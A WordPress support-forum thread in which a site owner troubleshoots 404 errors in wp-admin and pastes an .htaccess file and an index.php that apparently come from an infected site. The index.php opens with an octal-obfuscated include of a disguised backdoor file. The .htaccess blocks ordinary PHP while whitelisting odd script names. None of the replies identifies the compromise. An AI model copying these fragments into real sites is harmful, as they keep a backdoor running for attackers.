• Recently, the wp-admin/ functions such as all pages,edit page,plugins, installed plugins, plugin file editor functions and others are all not working. instead it’s bringing to a 404 error page from my own webpage.

    Error console shows wp-admin/edit.php,wp-admin/post-new.php, etc get 404 error as in it cant find it. Using Cpanel and navigating to wp-admin folder shows all the required php files but wordpress is still redirecting to 404.

    Have tried deactivating plugins by renaming plugins file wp-content folder but issue persists
    Have tried deleting cache but issue persists
    Have tried to go to permalinks tab in wordpress to reset permalink but the permalink page is also giving 404 error.
    Have tried adding script debugging but issue persists.
    Have tried to change theme but issue persists.
    Have tried switching browser but issue persists.

    Debug log shows:

    PHP Deprecated:  Methods with the same name as their class will not be constructors in a future version of PHP; RSS_Import has a deprecated constructor in /home/eliteindigo/public_html/wp-content/plugins/rss-importer/rss-importer.php on line 43
    [08-Sep-2022 04:50:16 UTC] PHP Warning:  file_put_contents(/home/eliteindigo/public_html/wp-content/uploads/.htaccess): failed to open stream: Permission denied in /home/eliteindigo/public_html/wp-content/plugins/wp-optimize/includes/class-wp-optimize-htaccess.php on line 135

    Have already renamed plugins to pluginsrenamed in wp-content folder and also renamed wp-optimize to another name but issues persists. Am I doing the plugin deactivation wrongly or is this issue not related at all?

    Should I delete wp-optimize folder in Cpanel altogether?

    other info:
    -front-end is working fine but back-end at wp-admin is having 404 redirect issues
    -I can still access wp-optimize,yoast seo, CAPTCHA 4WP and other plugins in their specific tab in the dashboard. the plugins page is still redirecting 404.
    -appearance and themes are still accessible for some reason and themes can be changed but issue persists. Changed to twentytwentytwo theme but issue persists
    -If I had to guess the problem, it could be an outdated plugin as I have not updated the plugins or wordpress in atleast a week but deactivating plugin doesnt seem to change anything. Updates section in wordpress also brings me to 404 redirect so I could not update anything as of now.

    Some posts were addressing htaccess issue. Here is my htaccess code:

    <FilesMatch “.(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$”>
    Order allow,deny
    Deny from all
    </FilesMatch>
    <FilesMatch “^(votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|contents.php|wp-login.php|load.php|themes.php|admin.php|settings.php|bottom.php|years.php|alwso.php|service.php|license.php|module.php)$”>
    Order allow,deny
    Allow from all
    </FilesMatch>
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ – [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
    </IfModule>

    Have tried removing the first 4 lines of the code but problem persists.

    Have NOT tried reinstalling wordpress as I am unsure if this would affect the current website as it’s still fine on the front-end. There are many guides to reinstall wordpress but I am not confident enough to do it without affecting the primary website. Will only do it as a last resort if possible.

    Any help or guidance would be very much appreciated. Am not super experienced in these issues but will try to provide as much neccessary info if needed.

    • This topic was modified 2 years, 2 months ago by eliteindigo.
Viewing 15 replies - 1 through 15 (of 26 total)
  • Is your WP, themes, and plugins version latest?

    If not, try the following steps:

    • Firstly, do a full backup;
    • Desactive all your plugins;
    • Update all your plugins;
    • Update all your themes;
    • Upgrade your WP installation;
    • Check out whether your WP installation’s working without any errors;
    • If so, active the plugins;
    • Check out whether your WP installation’s working without any errors again.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    Thread Starter eliteindigo

    (@eliteindigo)

    -I cannot even backup as the backup page in wordpress admin is redirecting to 404.
    -Updating plugins page also 404.
    -Themes is accessible and can be changed. But attempts to update the themes only lead to 404 as well.
    -How do I upgrade my WP installation?

    Does your hosting plan offer ftp access?

    Because if so, you could backup your installation by ftp.

    Thread Starter eliteindigo

    (@eliteindigo)

    yes I can backup through FTP using Cpanel. I only need to backup the wp files and the php in public_html correct?

    -If so, what should I do next as the themes are unable to be updated(using neve theme right now)
    -plugins can be deactivated by renaming in cpanel but problem persists
    -wordpress is version 6.02 which is latest version according to wordpress website

    Thread Starter eliteindigo

    (@eliteindigo)

    I have already backup the all the public html files through Cpanel.

    Any ideas on what I should I do next?
    Should I try reinstalling wordpress? I have already downloaded the wordpress 6.02 file but do I just extract it all in public_html file or delete all the previous files first?

    Thanks again for the help Jorge, really appreciate it.

    Make an WP installation locally in your PC, then begin to try to solve your issue after restoring your backup to that local WP.

    Thread Starter eliteindigo

    (@eliteindigo)

    ok I’ve installed wordpress locally and then extracted all the public html contents into that local wp.

    Do you have anymore ideas on to solve this issue? I thought the outdated plugins could be an issue but disabling plugins still did not solve the 404 errors. Everytime I try to load pages or add pages or plugins on wp-admin It redirects me to my own site’s 404 page with console stating get wp-admin/update.php not found.

    Thread Starter eliteindigo

    (@eliteindigo)

    A little more information on the nature of this issue:

    This issue actually first started with the css being broken in wp-admin. I logged into wp-admin a few days ago but wp did not load css properly. All the blue links are shown but without any css. Clicking the links also lead to 404 error. I have fixed the css issue by allowing scripts but the 404 error persists.

    Any ideas as to what could cause the css to be broken in the first place?

    What the exact plugins and theme are you using for trying to manage your issue?

    At some moment did you change the .htaccess file? It’s the same since the live WP installation, I meant is it default as it was?

    Did you already remove all plugins, and after that check your WP installation out?

    References:

    WordPress Error: WP-Admin Redirects to a 404 Page

    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz. Reason: Improved my answer
    Thread Starter eliteindigo

    (@eliteindigo)

    If manage my issue u mean what plugins and themes I currently have installed then

    Theme: Neve
    -can be changed to twentytwentytwo but problem persists

    Plugins
    there are over 20 plugins in my wp-content/plugins file
    -is renaming the plugins file not the same as deleting each plugin 1 by 1 as suggested by the article?
    -the plugins are accessible in wp-admin for some reason, as in it did not bring me to 404 page as expected but any try in using the features lead to errors.
    -For example, I have all-in-one-wp-migration preinstalled before and tried to use this plugin to backup wp but shows error.
    -this is the error showing in wp-admin front dashboard “All-in-One WP Migration is not able to create /home/eliteindigo/public_html/wp-content/ai1wm-backups/.htaccess file. Try to change permissions of the parent folder or send us an email at [email protected] for assistance.”

    htaccess file
    – I remember editing htaccess file to try to solve the issue but after confirming the problem persists, i immediately changed it back to the original without editing .
    -Another big issue i’ve realized, in my ftp there seems to be multiple htaccess files. 1 in public html root, public_html/wp-admin,wp-content,wp-content,plugins,and each plugin. There seem to be alot of htaccess file eventhough the clean wordpress 6.02 that i’ve downloaded from wp did not have htaccess everywhere. Could this be one of the issue? Which file should have the htaccess file?

    Htaccess code:
    <FilesMatch “.(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$”>
    Order allow,deny
    Deny from all
    </FilesMatch>
    <FilesMatch “^(votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|contents.php|wp-login.php|load.php|themes.php|admin.php|settings.php|bottom.php|years.php|alwso.php|service.php|license.php|module.php)$”>
    Order allow,deny
    Allow from all
    </FilesMatch>
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ – [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
    </IfModule>`

    -index.php also shows some strange code that i do not understand.
    There is 1 index.php file in every folder too. Is that suppose to happen?
    Index.php code:
    <?php @include(“\167\160\55\151\156\143\154\165\144\145\163\57\151\155\141\147\145\163\57\154\151\143\145\156\163\145\56\164\170\164”); ?>
    <?php
    define( ‘WP_USE_THEMES’, true );
    require __DIR__ . ‘/wp-blog-header.php’;

    Thread Starter eliteindigo

    (@eliteindigo)

    also just to confirm, I have made the wp intallation backup locally on my d drive. But I should be doing all the changes in the wp in my ftp correct? the backup is only there to replace any files correct?

    Do all locally.

    Did you already try to delete all plugins, and to set the theme to default?

    Delete all any other themes too.

    Observation: copy all backup to your PC too for safety.

    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz. Reason: Improved my answer
    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    Thread Starter eliteindigo

    (@eliteindigo)

    i have deleted all the plugins in the ftp but problem persists.

    Default theme is twenty twentytwo correct? I have changed to to twenty twenty two but problem persists.

    The backup is in my D drive.

    Do you know the All-in-One plugin?

    1. Use it for backing up (only the content, I meant, database) your WP installation.
    2. Then, locally make a fresh WP installation and install that plugin only.
    3. Then, locally try through that one to restore your content, and database from backup previously created with that one.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
    • This reply was modified 2 years, 2 months ago by Jorge Luiz.
Viewing 15 replies - 1 through 15 (of 26 total)
  • The topic ‘GET 404 Redirect in /wp-admin/ functions’ is closed to new replies.